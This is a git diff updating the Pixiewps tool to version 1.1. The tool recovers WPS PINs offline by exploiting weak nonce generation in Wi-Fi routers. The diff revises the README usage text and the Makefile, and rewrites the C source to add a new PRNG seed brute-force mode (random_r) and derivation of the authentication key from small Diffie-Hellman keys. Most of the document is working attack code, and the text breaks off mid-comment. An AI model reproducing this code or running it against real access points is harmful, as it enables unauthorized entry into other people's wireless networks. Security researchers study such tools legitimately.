diff --git a/.gitattributes b/.gitattributes index bdb0cab..bb48728 100644 --- a/.gitattributes +++ b/.gitattributes @@ -1,17 +1,2 @@ -# Auto detect text files and perform LF normalization +# Perform LF normalization * text=auto - -# Custom for Visual Studio -*.cs diff=csharp - -# Standard to msysgit -*.doc diff=astextplain -*.DOC diff=astextplain -*.docx diff=astextplain -*.DOCX diff=astextplain -*.dot diff=astextplain -*.DOT diff=astextplain -*.pdf diff=astextplain -*.PDF diff=astextplain -*.rtf diff=astextplain -*.RTF diff=astextplain diff --git a/README.md b/README.md index f17153a..be07d63 100644 --- a/README.md +++ b/README.md @@ -7,7 +7,7 @@ Pixiewps is a tool written in C used to bruteforce offline the WPS pin exploitin Pixiewps requires libssl. To install it: ``` - sudo apt-get install libssl-dev + sudo apt-get install libssl-dev ``` # INSTALLATION @@ -15,9 +15,9 @@ Pixiewps requires libssl. To install it: Pixiewps can be built and installed by running: ``` - ~/pixiewps$ cd src - ~/pixiewps/src$ make - ~/pixiewps/src$ sudo make install + ~/pixiewps$ cd src + ~/pixiewps/src$ make + ~/pixiewps/src$ sudo make install ``` # USAGE @@ -27,16 +27,78 @@ Pixiewps can be built and installed by running: Required Arguments: - -e, --pke : Enrollee public key - -r, --pkr : Registrar public key - -s, --e-hash1 : E-Hash1 - -z, --e-hash2 : E-Hash2 - -a, --authkey : Key used in HMAC SHA-256 + -e, --pke : Enrollee public key + -r, --pkr : Registrar public key + -s, --e-hash1 : Enrollee Hash1 + -z, --e-hash2 : Enrollee Hash2 + -a, --authkey : Authentication session key Optional Arguments: - -n, --e-nonce : Enrollee nonce - -S, --dh-small : Small Diffie-Hellman keys (--pkr not needed) + -n, --e-nonce : Enrollee nonce (mode 2,3,4) + -m, --r-nonce : Registrar nonce + -b, --e-bssid : Enrollee BSSID + -S, --dh-small : Small Diffie-Hellman keys (PKr not needed) [No] + -f, --force : Bruteforce the whole keyspace (mode 4) [No] + -v, --verbosity : Verbosity level 1-3, 1 is quietest [2] - -h, --help : Display this usage screen -``` \ No newline at end of file + -h, --help : Display this usage screen +``` + +# DESCRIPTION OF ARGUMENTS + +``` + -e, --pke + + Enrollee's DH public key, found in M1. + + -r, --pkr + + Registrar's DH public key, found in M2 or can be avoided by specifying + small Diffie-Hellman keys in both Reaver and Pixiewps. + + -s, --e-hash1 + + Enrollee Hash-1, found in M3. + + -z, --e-hash2 + + Enrollee Hash-2, found in M3. + + -a, --authkey + + Registration Protocol authentication session key. Although for this parameter a + modified version of Reaver or Bully is needed, it can be avoided by specifying + small Diffie-Hellman keys in both Reaver and Pixiewps and supplying --e-nonce, + --r-nonce and --e-bssid. + + -n, --e-nonce + + Enrollee's nonce, found in M1. + + -m, --r-nonce + + Registrar's nonce, found in M2. + + -b, --e-bssid + + Enrollee's BSSID. + + -S, --dh-small + + Small Diffie-Hellman keys. The same option MUST be specified on Reaver + (1.3 or later versions) too. + + -f, --force + + Force Pixiewps to bruteforce the whole keyspace for mode 4. + It could take up to several minutes to complete. + + -v, --verbosity + + Verbosity level (1-3). Level 3 displays the most information. + + -h, --help + + Display usage screen. +``` diff --git a/src/Makefile b/src/Makefile index 37497d2..2e6db65 100644 --- a/src/Makefile +++ b/src/Makefile @@ -1,15 +1,17 @@ CC = gcc -CCFLAGS = -lssl -lcrypto -Wall -Werror +CCFLAGS = -std=c99 +LDFLAGS = -lssl -lcrypto TARGET = pixiewps PREFIX = $(DESTDIR)/usr/local BINDIR = $(PREFIX)/bin all: - $(CC) -o $(TARGET) pixiewps.c $(CCFLAGS) + $(CC) $(CCFLAGS) -o $(TARGET) $(TARGET).c random_r.c $(LDFLAGS) install: install -D pixiewps $(BINDIR)/$(TARGET) + install -m 755 $(TARGET) $(BINDIR) uninstall: rm $(BINDIR)/$(TARGET) diff --git a/src/pixiewps.c b/src/pixiewps.c index c4b693c..75db08b 100644 --- a/src/pixiewps.c +++ b/src/pixiewps.c @@ -5,7 +5,7 @@ * Special thanks to: datahead, soxrok2212 * * Copyright (c) 2015, wiire - * Version: 1.0.5 + * Version: 1.1 * * DISCLAIMER: This tool was made for educational purposes only. * The author is NOT responsible for any misuse or abuse. @@ -40,86 +40,66 @@ #include #include #include -#include +#include #include +#include +#include -#include #include +#include -/* WPS constants */ -#define PK_LEN 192 -#define AUTHKEY_LEN 32 -#define HASH_LEN 32 -#define NONCE_LEN 16 -#define ES_LEN 16 -#define PSK_LEN 16 +#include "pixiewps.h" +#include "random_r.h" +#include "utils.h" -/* LCG constants */ -#define LCG_MULTIPLIER 1103515245 -#define LCG_INCREMENT 12345 -#define LCG_OPT_MASK 0x01ffffff - -/* Exit costants */ -#define MEM_ERROR 2 -#define ARG_ERROR 3 - -typedef enum {false = 0, true = 1} bool; - -int hex_string_to_byte_array(unsigned char *src, unsigned char *dst, int dst_len); -void uint_to_char_array(unsigned int num, int len, unsigned char *dst); -unsigned int wps_pin_checksum(unsigned int pin); -unsigned int wps_pin_valid(unsigned int pin); -void hmac_sha256(const void *key, int key_len, const unsigned char *data, size_t data_len, unsigned char *digest); -int rand_r(unsigned int *seed); -void byte_array_print(unsigned char *buffer, unsigned int length); -void display_usage(); - -static const long hextable[] = { - [0 ... 255] = -1, - ['0'] = 0, 1, 2, 3, 4, 5, 6, 7, 8, 9, - ['A'] = 10, 11, 12, 13, 14, 15, - ['a'] = 10, 11, 12, 13, 14, 15 -}; - -struct globalArgs_t { - unsigned char *pke; - unsigned char *pkr; - unsigned char *e_hash1; - unsigned char *e_hash2; - unsigned char *authkey; - unsigned char *e_nonce; - bool small_dh_keys; -} globalArgs; - -static const char *option_string = "e:r:s:z:a:n:Sh?"; +int32_t rand_r(uint32_t *seed); +static const char *option_string = "e:r:s:z:a:n:m:b:Sfv:h?"; static const struct option long_options[] = { - { "pke", required_argument, 0, 'e' }, - { "pkr", required_argument, 0, 'r' }, - { "e-hash1", required_argument, 0, 's' }, - { "e-hash2", required_argument, 0, 'z' }, - { "authkey", required_argument, 0, 'a' }, - { "e-nonce", required_argument, 0, 'n' }, - { "dh-small", no_argument, 0, 'S' }, - { "help", no_argument, 0, 'h' }, - { 0, 0, 0, 0 } + { "pke", required_argument, 0, 'e' }, + { "pkr", required_argument, 0, 'r' }, + { "e-hash1", required_argument, 0, 's' }, + { "e-hash2", required_argument, 0, 'z' }, + { "authkey", required_argument, 0, 'a' }, + { "e-nonce", required_argument, 0, 'n' }, + { "r-nonce", required_argument, 0, 'm' }, + { "e-bssid", required_argument, 0, 'b' }, + { "dh-small", no_argument, 0, 'S' }, + { "force", no_argument, 0, 'f' }, + { "verbosity", required_argument, 0, 'v' }, + { "help", no_argument, 0, 'h' }, + { 0, 0, 0, 0 } }; int main(int argc, char **argv) { - globalArgs.pke = 0; - globalArgs.pkr = 0; - globalArgs.e_hash1 = 0; - globalArgs.e_hash2 = 0; - globalArgs.authkey = 0; - globalArgs.e_nonce = 0; - globalArgs.small_dh_keys = false; - unsigned char *pke; - unsigned char *pkr; - unsigned char *e_hash1; - unsigned char *e_hash2; - unsigned char *authkey; - unsigned char *e_nonce = 0; + struct global *wps; + if ((wps = calloc(1, sizeof(struct global)))) { + wps->pke = 0; + wps->pkr = 0; + wps->e_hash1 = 0; + wps->e_hash2 = 0; + wps->authkey = 0; + wps->e_nonce = 0; + wps->r_nonce = 0; + wps->e_bssid = 0; + wps->psk1 = 0; + wps->psk2 = 0; + wps->dhkey = 0; + wps->kdk = 0; + wps->wrapkey = 0; + wps->emsk = 0; + wps->e_s1 = 0; + wps->e_s2 = 0; + wps->bruteforce = false; + wps->verbosity = 2; + wps->error = calloc(256, 1); if (!wps->error) goto memory_err; + wps->error[0] = '\n'; + } else { + memory_err: + fprintf(stderr, "\n [X] Memory allocation error!\n"); + return MEM_ERROR; + } int opt = 0; int long_index = 0; @@ -128,127 +108,260 @@ int main(int argc, char **argv) { while (opt != -1) { switch (opt) { case 'e': - globalArgs.pke = (unsigned char *) optarg; + wps->pke = malloc(WPS_PUBKEY_LEN); + if (!wps->pke) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->pke, WPS_PUBKEY_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad enrollee public key -- %s\n\n", optarg); + goto usage_err; + } break; case 'r': - globalArgs.pkr = (unsigned char *) optarg; + wps->pkr = malloc(WPS_PUBKEY_LEN); + if (!wps->pkr) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->pkr, WPS_PUBKEY_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad registrar public key -- %s\n\n", optarg); + goto usage_err; + } break; case 's': - globalArgs.e_hash1 = (unsigned char *) optarg; + wps->e_hash1 = malloc(WPS_HASH_LEN); + if (!wps->e_hash1) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->e_hash1, WPS_HASH_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad hash -- %s\n\n", optarg); + goto usage_err; + } break; case 'z': - globalArgs.e_hash2 = (unsigned char *) optarg; + wps->e_hash2 = malloc(WPS_HASH_LEN); + if (!wps->e_hash2) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->e_hash2, WPS_HASH_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad hash -- %s\n\n", optarg); + goto usage_err; + } break; case 'a': - globalArgs.authkey = (unsigned char *) optarg; + wps->authkey = malloc(WPS_AUTHKEY_LEN); + if (!wps->authkey) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->authkey, WPS_HASH_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad authentication session key -- %s\n\n", optarg); + goto usage_err; + } break; case 'n': - globalArgs.e_nonce = (unsigned char *) optarg; + wps->e_nonce = malloc(WPS_NONCE_LEN); + if (!wps->e_nonce) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->e_nonce, WPS_NONCE_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad enrollee nonce -- %s\n\n", optarg); + goto usage_err; + } + break; + case 'm': + wps->r_nonce = malloc(WPS_NONCE_LEN); + if (!wps->r_nonce) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->r_nonce, WPS_NONCE_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad registrar nonce -- %s\n\n", optarg); + goto usage_err; + } + break; + case 'b': + wps->e_bssid = malloc(WPS_BSSID_LEN); + if (!wps->e_bssid) + goto memory_err; + if (hex_string_to_byte_array(optarg, wps->e_bssid, WPS_BSSID_LEN)) { + snprintf(wps->error, 256, "\n [!] Bad enrollee MAC address -- %s\n\n", optarg); + goto usage_err; + } break; case 'S': - globalArgs.small_dh_keys = true; + wps->small_dh_keys = true; + break; + case 'f': + wps->bruteforce = true; + break; + case 'v': + if (get_int(optarg, &wps->verbosity) != 0 || wps->verbosity < 1 || 3 < wps->verbosity) { + snprintf(wps->error, 256, "\n [!] Bad verbosity level -- %s\n\n", optarg); + goto usage_err; + }; break; case 'h': + goto usage_err; case '?': - display_usage(); default: - exit(ARG_ERROR); + fprintf(stderr, "%s -h for help\n", argv[0]); + return ARG_ERROR; } opt = getopt_long(argc, argv, option_string, long_options, &long_index); } /* Not all required arguments have been supplied */ - if (globalArgs.pke == 0 || globalArgs.e_hash1 == 0 || globalArgs.e_hash2 == 0 || globalArgs.authkey == 0) { - display_usage(); + if (wps->pke == 0 || wps->e_hash1 == 0 || wps->e_hash2 == 0) { + wps->error = "\n [!] Not all required arguments have been supplied!\n\n"; + + usage_err: + fprintf(stderr, usage, VERSION, argv[0], wps->error); + return ARG_ERROR; } - /* If --dh-small is selected then no PKR should be supplied */ - if ((globalArgs.pkr && globalArgs.small_dh_keys) || (!globalArgs.pkr && !globalArgs.small_dh_keys)) { - display_usage(); + /* If --dh-small is selected then no --pkr should be supplied */ + if (wps->pkr && wps->small_dh_keys) { + wps->error = "\n [!] Options --dh-small and --pkr are mutually exclusive!\n\n"; + goto usage_err; } - /* Allocating memory */ - pke = (unsigned char *) malloc(PK_LEN); if (!pke) exit(MEM_ERROR); - pkr = (unsigned char *) malloc(PK_LEN); if (!pkr) exit(MEM_ERROR); - e_hash1 = (unsigned char *) malloc(HASH_LEN); if (!e_hash1) exit(MEM_ERROR); - e_hash2 = (unsigned char *) malloc(HASH_LEN); if (!e_hash2) exit(MEM_ERROR); - authkey = (unsigned char *) malloc(AUTHKEY_LEN); if (!authkey) exit(MEM_ERROR); - - if (globalArgs.e_nonce) { - e_nonce = (unsigned char *) malloc(NONCE_LEN); if (!e_nonce) exit(MEM_ERROR); - if (hex_string_to_byte_array(globalArgs.e_nonce, e_nonce, NONCE_LEN)) goto end; + /* Either --pkr or --dh-small must be specified */ + if (!wps->pkr && !wps->small_dh_keys) { + wps->error = "\n [!] Either --pkr or --dh-small must be specified!\n\n"; + goto usage_err; } - if (globalArgs.small_dh_keys) { - memset(pkr, 0, PK_LEN - 1); - pkr[PK_LEN - 1] = 0x02; - } else { - if (hex_string_to_byte_array(globalArgs.pkr, pkr, PK_LEN)) goto end; + if (wps->small_dh_keys) { /* Small DH keys selected */ + wps->pkr = malloc(WPS_PUBKEY_LEN); + if (!wps->pkr) + goto memory_err; + + /* g^A mod p = 2 (g = 2, A = 1, p > 2) */ + memset(wps->pkr, 0, WPS_PUBKEY_LEN - 1); + wps->pkr[WPS_PUBKEY_LEN - 1] = 0x02; + + if (!wps->authkey) { + if (wps->e_nonce) { + if (wps->r_nonce) { + if (wps->e_bssid) { /* Computing AuthKey */ + wps->dhkey = malloc(WPS_HASH_LEN); + if (!wps->dhkey) + goto memory_err; + wps->kdk = malloc(WPS_HASH_LEN); + if (!wps->kdk) + goto memory_err; + + unsigned char *buffer = malloc(WPS_NONCE_LEN * 2 + WPS_BSSID_LEN); + if (!buffer) + goto memory_err; + + /* DHKey = SHA-256(g^(AB) mod p) = SHA-256(PKe^A mod p) = SHA-256(PKe) (g = 2, A = 1, p > 2) */ + sha256(wps->pke, WPS_PUBKEY_LEN, wps->dhkey); + + memcpy(buffer, wps->e_nonce, WPS_NONCE_LEN); + memcpy(buffer + WPS_NONCE_LEN, wps->e_bssid, WPS_BSSID_LEN); + memcpy(buffer + WPS_NONCE_LEN + WPS_BSSID_LEN, wps->r_nonce, WPS_NONCE_LEN); + + /* KDK = HMAC-SHA-256{DHKey}(Enrollee nonce || Enrollee MAC || Registrar nonce) */ + hmac_sha256(wps->dhkey, WPS_HASH_LEN, buffer, WPS_NONCE_LEN * 2 + WPS_BSSID_LEN, wps->kdk); + + buffer = realloc(buffer, WPS_HASH_LEN * 3); + if (!buffer) + goto memory_err; + + /* Key derivation function */ + kdf(wps->kdk, WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN + WPS_EMSK_LEN, buffer); + + wps->authkey = malloc(WPS_AUTHKEY_LEN); + if (!wps->authkey) + goto memory_err; + + memcpy(wps->authkey, buffer, WPS_AUTHKEY_LEN); + + if (wps->verbosity > 2) { + wps->wrapkey = malloc(WPS_KEYWRAPKEY_LEN); + if (!wps->wrapkey) + goto memory_err; + wps->emsk = malloc(WPS_EMSK_LEN); + if (!wps->emsk) + goto memory_err; + + memcpy(wps->wrapkey, buffer + WPS_AUTHKEY_LEN, WPS_KEYWRAPKEY_LEN); + memcpy(wps->emsk, buffer + WPS_AUTHKEY_LEN + WPS_KEYWRAPKEY_LEN, WPS_EMSK_LEN); + } + if (wps->verbosity < 3) { + free(wps->dhkey); + free(wps->kdk); + } + free(buffer); + } else { + wps->error = "\n [!] Neither --authkey and --e-bssid have been supplied!\n\n"; + goto usage_err; + } + } else { + wps->error = "\n [!] Neither --authkey and --r-nonce have been supplied!\n\n"; + goto usage_err; + } + } else { + wps->error = "\n [!] Neither --authkey and --e-nonce have been supplied!\n\n"; + goto usage_err; + } + } } - /* Converting data fed to the program to byte array */ - if (hex_string_to_byte_array(globalArgs.pke, pke, PK_LEN)) goto end; - if (hex_string_to_byte_array(globalArgs.e_hash1, e_hash1, HASH_LEN)) goto end; - if (hex_string_to_byte_array(globalArgs.e_hash2, e_hash2, HASH_LEN)) goto end; - if (hex_string_to_byte_array(globalArgs.authkey, authkey, AUTHKEY_LEN)) goto end; + /* E-S1 = E-S2 = 0 */ + wps->e_s1 = calloc(WPS_SECRET_NONCE_LEN, 1); if (!wps->e_s1) goto memory_err; + wps->e_s2 = calloc(WPS_SECRET_NONCE_LEN, 1); if (!wps->e_s2) goto memory_err; /* Allocating memory for digests */ - unsigned char *psk1 = (unsigned char *) malloc(HASH_LEN); if (!psk1) exit(MEM_ERROR); - unsigned char *psk2 = (unsigned char *) malloc(HASH_LEN); if (!psk2) exit(MEM_ERROR); - unsigned char *result = (unsigned char *) malloc(HASH_LEN); if (!result) exit(MEM_ERROR); - unsigned char *buffer = (unsigned char *) malloc(ES_LEN + PSK_LEN + PK_LEN * 2); if (!buffer) exit(MEM_ERROR); + wps->psk1 = malloc(WPS_HASH_LEN); if (!wps->psk1) goto memory_err; + wps->psk2 = malloc(WPS_HASH_LEN); if (!wps->psk2) goto memory_err; - /* ES-1 = ES-2 = 0 */ - unsigned char *e_s1 = (unsigned char *) calloc(ES_LEN, 1); if (!e_s1) exit(MEM_ERROR); - unsigned char *e_s2 = (unsigned char *) calloc(ES_LEN, 1); if (!e_s2) exit(MEM_ERROR); + unsigned char *result = (unsigned char *) malloc(WPS_HASH_LEN); + if (!result) + goto memory_err; + unsigned char *buffer = (unsigned char *) malloc(WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2); + if (!buffer) + goto memory_err; - unsigned int seed; - unsigned int print_seed = 0; /* Seed to display at the end */ + uint32_t seed; + uint32_t print_seed; /* Seed to display at the end */ unsigned int first_half; unsigned int second_half; unsigned char s_pin[4] = {0}; + bool valid = false; int mode = 1; bool found = false; - struct timeval t0; - struct timeval t1; + struct timeval t0, t1; gettimeofday(&t0, 0); - while (mode < 4 && !found) { + while (mode <= MAX_MODE && !found) { - first_half = 0; - second_half = 0; + seed = 0; print_seed = 0; - if (mode == 2 && e_nonce) { - memcpy(e_s1, e_nonce, NONCE_LEN); - memcpy(e_s2, e_nonce, NONCE_LEN); + /* ES-1 = ES-2 = E-Nonce */ + if (mode == 2 && wps->e_nonce) { + memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN); + memcpy(wps->e_s2, wps->e_nonce, WPS_SECRET_NONCE_LEN); } - /* PRNG bruteforce */ - if (mode == 3 && e_nonce) { + /* PRNG bruteforce (rand_r) */ + if (mode == 3 && wps->e_nonce) { /* Reducing entropy from 32 to 25 bits */ - unsigned int index = e_nonce[0] << 25; - unsigned int limit = index | LCG_OPT_MASK; + uint32_t index = wps->e_nonce[0] << 25; + uint32_t limit = index | 0x01ffffff; while (1) { seed = index; int i; - for (i = 1; i < NONCE_LEN; i++) { - if (e_nonce[i] != (unsigned char) rand_r(&seed)) break; + for (i = 1; i < WPS_NONCE_LEN; i++) { + if (wps->e_nonce[i] != (unsigned char) rand_r(&seed)) break; } - if (i == NONCE_LEN) { /* Seed found */ + if (i == WPS_NONCE_LEN) { /* Seed found */ print_seed = seed; /* Advance to get ES-1 */ - for (i = 0; i < NONCE_LEN; i++) - e_s1[i] = (unsigned char) rand_r(&seed); + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s1[i] = (unsigned char) rand_r(&seed); /* Advance to get ES-2 */ - for (i = 0; i < NONCE_LEN; i++) - e_s2[i] = (unsigned char) rand_r(&seed); + for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) + wps->e_s2[i] = (unsigned char) rand_r(&seed); break; } @@ -259,18 +372,90 @@ int main(int argc, char **argv) { } } + /* PRNG bruteforce (random_r) */ + if (mode == 4 && wps->e_nonce) { + + /* Checks if the sequence may actually be generated by current random function */ + if (wps->e_nonce[0] < 0x80 && wps->e_nonce[4] < 0x80 && wps->e_nonce[8] < 0x80 && wps->e_nonce[12] < 0x80) { + + valid = true; + + /* Converting enrollee nonce to the sequence may be generated by current random function */ + uint32_t randr_enonce[4] = {0}; + int j = 0; + for (int i = 0; i < 4; i++) { + randr_enonce[i] |= wps->e_nonce[j++]; + randr_enonce[i] <<= 8; + randr_enonce[i] |= wps->e_nonce[j++]; + randr_enonce[i] <<= 8; + randr_enonce[i] |= wps->e_nonce[j++]; + randr_enonce[i] <<= 8; + randr_enonce[i] |= wps->e_nonce[j++]; + } + + uint32_t limit; + struct timeval curr_time; + gettimeofday(&curr_time, 0); + + if (wps->bruteforce) { + seed = curr_time.tv_sec + SEC_PER_DAY * MODE4_DAYS - SEC_PER_HOUR * 2; + limit = 0; + } else { + seed = curr_time.tv_sec + SEC_PER_HOUR * 2; + limit = curr_time.tv_sec - SEC_PER_DAY * MODE4_DAYS - SEC_PER_HOUR * 2; + } + + struct random_data *buf = (struct random_data *) calloc(1, sizeof(struct random_data)); + char *rand_statebuf = (char *) calloc(1, 128); + initstate_r(seed, rand_statebuf, 128, buf); + int32_t res = 0; + + while (1) { + srandom_r(seed, buf); + + int i; + for (i = 0; i < 4; i++) { + random_r(buf, &res); + if (res != randr_enonce[i]) break; + } + + if (i == 4) { + print_seed = seed; + srandom_r(print_seed + 1, buf); + for (int i = 0; i < 4; i++) { + random_r(buf, &res); + uint32_t be = __be32_to_cpu(res); + memcpy(&(wps->e_s1[4 * i]), &be, 4); + memcpy(wps->e_s2, wps->e_s1, WPS_SECRET_NONCE_LEN); /* ES-1 = ES-2 != E-Nonce */ + } + } + + if (print_seed || seed == limit) { + free(buf); + free(rand_statebuf); + break; + } + + seed--; + } + } + } + /* WPS pin cracking */ - if (mode == 1 || (mode == 2 && e_nonce) || (mode == 3 && print_seed)) { + if (mode == 1 || (mode == 2 && wps->e_nonce) || (mode == 3 && print_seed) || (mode == 4 && print_seed)) { +crack: + first_half = 0; second_half = 0; + while (first_half < 10000) { uint_to_char_array(first_half, 4, s_pin); - hmac_sha256(authkey, AUTHKEY_LEN, (unsigned char *) s_pin, 4, psk1); - memcpy(buffer, e_s1, ES_LEN); - memcpy(buffer + ES_LEN, psk1, PSK_LEN); - memcpy(buffer + ES_LEN + PSK_LEN, pke, PK_LEN); - memcpy(buffer + ES_LEN + PSK_LEN + PK_LEN, pkr, PK_LEN); - hmac_sha256(authkey, AUTHKEY_LEN, buffer, ES_LEN + PSK_LEN + PK_LEN * 2, result); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, (unsigned char *) s_pin, 4, wps->psk1); + memcpy(buffer, wps->e_s1, WPS_SECRET_NONCE_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk1, WPS_PSK_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PUBKEY_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN, wps->pkr, WPS_PUBKEY_LEN); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2, result); - if (memcmp(result, e_hash1, HASH_LEN)) { + if (memcmp(result, wps->e_hash1, WPS_HASH_LEN)) { first_half++; } else { break; @@ -286,14 +471,14 @@ int main(int argc, char **argv) { checksum_digit = wps_pin_checksum(first_half * 1000 + second_half); c_second_half = second_half * 10 + checksum_digit; uint_to_char_array(c_second_half, 4, s_pin); - hmac_sha256(authkey, AUTHKEY_LEN, (unsigned char *) s_pin, 4, psk2); - memcpy(buffer, e_s2, ES_LEN); - memcpy(buffer + ES_LEN, psk2, PSK_LEN); - memcpy(buffer + ES_LEN + PSK_LEN, pke, PK_LEN); - memcpy(buffer + ES_LEN + PSK_LEN + PK_LEN, pkr, PK_LEN); - hmac_sha256(authkey, AUTHKEY_LEN, buffer, ES_LEN + PSK_LEN + PK_LEN * 2, result); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, (unsigned char *) s_pin, 4, wps->psk2); + memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PUBKEY_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN, wps->pkr, WPS_PUBKEY_LEN); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2, result); - if (memcmp(result, e_hash2, HASH_LEN)) { + if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) { second_half++; } else { second_half = c_second_half; @@ -315,14 +500,14 @@ int main(int argc, char **argv) { } uint_to_char_array(second_half, 4, s_pin); - hmac_sha256(authkey, AUTHKEY_LEN, (unsigned char *) s_pin, 4, psk2); - memcpy(buffer, e_s2, ES_LEN); - memcpy(buffer + ES_LEN, psk2, PSK_LEN); - memcpy(buffer + ES_LEN + PSK_LEN, pke, PK_LEN); - memcpy(buffer + ES_LEN + PSK_LEN + PK_LEN, pkr, PK_LEN); - hmac_sha256(authkey, AUTHKEY_LEN, buffer, ES_LEN + PSK_LEN + PK_LEN * 2, result); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, (unsigned char *) s_pin, 4, wps->psk2); + memcpy(buffer, wps->e_s2, WPS_SECRET_NONCE_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN, wps->psk2, WPS_PSK_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN, wps->pke, WPS_PUBKEY_LEN); + memcpy(buffer + WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN, wps->pkr, WPS_PUBKEY_LEN); + hmac_sha256(wps->authkey, WPS_AUTHKEY_LEN, buffer, WPS_SECRET_NONCE_LEN + WPS_PSK_LEN + WPS_PUBKEY_LEN * 2, result); - if (memcmp(result, e_hash2, HASH_LEN)) { + if (memcmp(result, wps->e_hash2, WPS_HASH_LEN)) { second_half++; } else { found = true; @@ -333,152 +518,105 @@ int main(int argc, char **argv) { } } + /* E-S1 = E-Nonce != E-S2 */ + if (mode == 4 && print_seed && !found) { + memcpy(wps->e_s1, wps->e_nonce, WPS_SECRET_NONCE_LEN); + mode++; + goto crack; + } + mode++; } gettimeofday(&t1, 0); - long elapsed = t1.tv_sec - t0.tv_sec; + long elapsed_s = t1.tv_sec - t0.tv_sec; mode--; + printf("\n Pixiewps %s\n", VERSION); + if (found) { - if (e_nonce && mode == 3) { - printf("\n [*] PRNG Seed: %u", print_seed); + if (wps->e_nonce) { + if ((mode == 3 || mode == 4) && wps->verbosity > 2) { + printf("\n [*] PRNG Seed: %u", print_seed); + } + if (mode == 4 && wps->verbosity > 2) { + time_t seed_time; + struct tm ts; + char buffer[30]; + + seed_time = print_seed; + ts = *localtime(&seed_time); + strftime(buffer, 30, "%c", &ts); + printf(" (%s)", buffer); + } } - printf("\n [*] ES-1: "); - byte_array_print(e_s1, ES_LEN); - printf("\n [*] ES-2: "); - byte_array_print(e_s2, ES_LEN); - printf("\n [*] PSK1: "); - byte_array_print(psk1, PSK_LEN); - printf("\n [*] PSK2: "); - byte_array_print(psk2, PSK_LEN); - printf("\n [+] WPS pin: %04u%04u", first_half, second_half); + if (wps->verbosity > 2) { + if (wps->dhkey) { /* To see if AuthKey was supplied or not */ + printf("\n [*] DHkey: "); byte_array_print(wps->dhkey, WPS_HASH_LEN); + printf("\n [*] KDK: "); byte_array_print(wps->kdk, WPS_HASH_LEN); + printf("\n [*] AuthKey: "); byte_array_print(wps->authkey, WPS_AUTHKEY_LEN); + printf("\n [*] EMSK: "); byte_array_print(wps->emsk, WPS_EMSK_LEN); + printf("\n [*] KeyWrapKey: "); byte_array_print(wps->wrapkey, WPS_KEYWRAPKEY_LEN); + } + printf("\n [*] PSK1: "); byte_array_print(wps->psk1, WPS_PSK_LEN); + printf("\n [*] PSK2: "); byte_array_print(wps->psk2, WPS_PSK_LEN); + } + if (wps->verbosity > 1) { + printf("\n [*] E-S1: "); byte_array_print(wps->e_s1, WPS_SECRET_NONCE_LEN); + printf("\n [*] E-S2: "); byte_array_print(wps->e_s2, WPS_SECRET_NONCE_LEN); + } + printf("\n [+] WPS pin: %04u%04u", first_half, second_half); } else { printf("\n [-] WPS pin not found!"); } - printf("\n\n [*] Time taken: %lu s\n\n", elapsed); + printf("\n\n [*] Time taken: %lu s\n\n", elapsed_s); + + if (!found && mode == 4 && valid && !wps->bruteforce) { + printf(" [!] The AP /might be/ vulnerable to mode 4. Try again with --force or with another (newer) set of data.\n\n"); + } -end: - free(pke); - free(pkr); - free(e_hash1); - free(e_hash2); - free(authkey); - free(psk1); - free(psk2); free(result); free(buffer); - free(e_s1); - free(e_s2); - if (e_nonce) free(e_nonce); + + free(wps->pke); + free(wps->pkr); + free(wps->e_hash1); + free(wps->e_hash2); + free(wps->authkey); + free(wps->e_nonce); + free(wps->r_nonce); + free(wps->e_bssid); + free(wps->psk1); + free(wps->psk2); + free(wps->e_s1); + free(wps->e_s2); + free(wps->error); + + if (wps->verbosity > 2) { + free(wps->dhkey); + free(wps->kdk); + free(wps->wrapkey); + free(wps->emsk); + } + + free(wps); return (!found); /* 0 success, 1 failure */ } -/* Converts an hex string to a byte array */ -int hex_string_to_byte_array(unsigned char *src, unsigned char *dst, int dst_len) { - int i = 0; - unsigned char hvalue, lvalue; - - while (i < dst_len) { - while (*src == ':' || *src == '-' || *src == ' ') src++; /* Keeps going until finds a good character */ - - hvalue = hextable[*src]; - lvalue = hextable[*++src]; - - if (hvalue == -1 || lvalue == -1) return -1; - - dst[i] = (hvalue << 4) | lvalue; - src++; - i++; - } - return 0; -} - -/* 